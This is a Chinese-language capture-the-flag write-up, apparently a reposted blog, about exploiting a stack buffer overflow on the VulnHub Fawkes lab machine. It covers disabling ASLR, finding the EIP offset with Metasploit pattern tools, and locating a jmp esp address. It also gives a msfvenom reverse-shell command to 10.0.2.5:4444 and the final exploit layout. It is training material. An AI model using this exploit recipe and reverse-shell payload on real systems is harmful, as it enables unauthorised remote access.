vulnhub29.1-缓冲区溢出调试
2023-6-14 17:52:44 Author: 寰宇卫士(查看原文) 阅读量:7 收藏

 缓冲区溢出深入了解一下

01

缓冲区溢出调试

    靶机环境还是HARRYPOTTER: FAWKES靶机,调试机器是kali,调试准备:

先把kali的ALSR功能关闭,这样内存地址就不是随机化的了,不然找不到缓冲区溢出的位置:cat /proc/sys/kernel/randomize_va_spaceecho 0 /proc/sys/kernel/randomize_va_spacecat /proc/sys/kernel/randomize_va_space

安装调试工具:

apt-get install edb-debugger

启动软件,把server文件放进去就可以了调试了,先生成payload:
python -c "print('A'*500)" #python生成500个A

在edb软件的file选项上选择attack添加server(server可以使用kali用户权限启动),然后点击run:

用nc链接,把刚刚生成的500的A注入到程序入口:

然后查看EDB,发现报错了

提示我们0×41414141的内存位置出现了错误,这是说明已经调试到了错误的位置,即确实存在代码溢出漏洞,我们点击ok,详细查看一下错误信息

这里的EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是的具体指令。我们可以通过修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。如果ESP的指令是反弹shell的指令,就可以反弹shell!

确认了目标存在缓存区溢出漏洞,就需要找到缓存区溢出的位置,从而知道该从哪里插入攻击代码,同样的我们还是生成大量数据,这里就不能像上面一样都生成A了,因为数据如果都一样的话就不知道溢出的位置在哪里,我们需要通过报错的地方判断出溢出位置:

这里我们使用msf生成500无规律排列的字符,代码如下msf-pattern_create -l 500

重启edb,和上面同样的操作开启调试,此时将msf生成的无规律字符输入,此时页面如下:

告诉我们0x64413764的位置有问题,这个内存位置很可能就是我们要找的溢出位置,我们来查找一下这个位置在内存输入区的位置:

msf-pattern_offset -l 500 -q 64413764

输出告诉我们偏移量是112,也就是说64413764在113这个位置,这里可以验证一下,顺便强化一下我对EIP和ESP这两个寄存器的理解,输入以下验证代码:

python -c "print('A'*112+'BBBB'+'C'*100)"

意思是生成112个A,后面跟着4个B,再后边跟着100个C,总共216个字符,在重启EDB,按照上面的步骤在注入这个payload,观察EIP和ESP:

我们可以看到EIP上面是42424242,而42刚好就是B的16进制,ESP里面全是CCCC,刚好符合我们的分析;结合我们最开始的攻击思路,生成一段反弹shell的代码,并转化为16进制,放入ESP,再让EIP指向ESP,就可以强制执行ESP的代码了,也就是反弹shell的代码!

但是这里我们不仅需要在ESP中放入payload,还需要让EIP指向ESP,那怎样指向呢?具体操作步骤如下

在plugins设置中选中ESP->EIP,即将ESP的内存地址作为EIP的内容,这样就可以实现EIP指向ESP了,在左侧选择执行此操作的进程(注意要选择有执行权限的,就是r-x)

此时点击FInd就会找到ESP的内存位置,选择jmp esp的内存地址,那就是我们要写入EIP的内容:

可以看到结果是08049d55,但是机器命令中需要反写(我猜是因为小端序的原因),所以就是559d0408(两位为一个16进制),最后得出的16进制结果就是\x55\x9d\x04\x08,这就是我们需要写入EIP的内容,我们来书写payload:

首先用MSF生成16进制的反弹shell代码:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.5 LPORT=4444 -b "\x00" -f python

构造EXP:

我们已经成功获取payload,但并不是最终的payload,因为还要考虑缓存溢出位置的问题,并且这段代码不能作出攻击行为,所以我们还需要配合这个payload来写个python脚本,生成最终的payload并编写exp来攻击。

EXP的组成:112个占位符+EIP代码(\x55\x9d\x04\x08)+\x90*32+MSF反弹shell代码,最后构造如下:

python2 pwn.py

拿到shell!  唯一没有搞懂的是\x09*32这个nop指令是怎么计算出来的,我尝试了\x09*16,\x09*64,\x09*128,\x09*127,\x09*15可以成功反弹shell!,最低得是\x09*10才可以,只能是这样一个一个测试出来了。。。

看到了,点个赞转发一下啦,如果对网络安全技术感兴趣的可以后台私信我哟

免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwMzU0NDY5OA==&mid=2247497223&idx=1&sn=d76b986407b3e26aa885b68110c7074f&chksm=96cf7712a1b8fe043821a6e0c8cdb1bdb9f469a7039397f8f3ce5e86b119c8d451d568f7ea7c#rd
如有侵权请联系:admin#unsafe.sh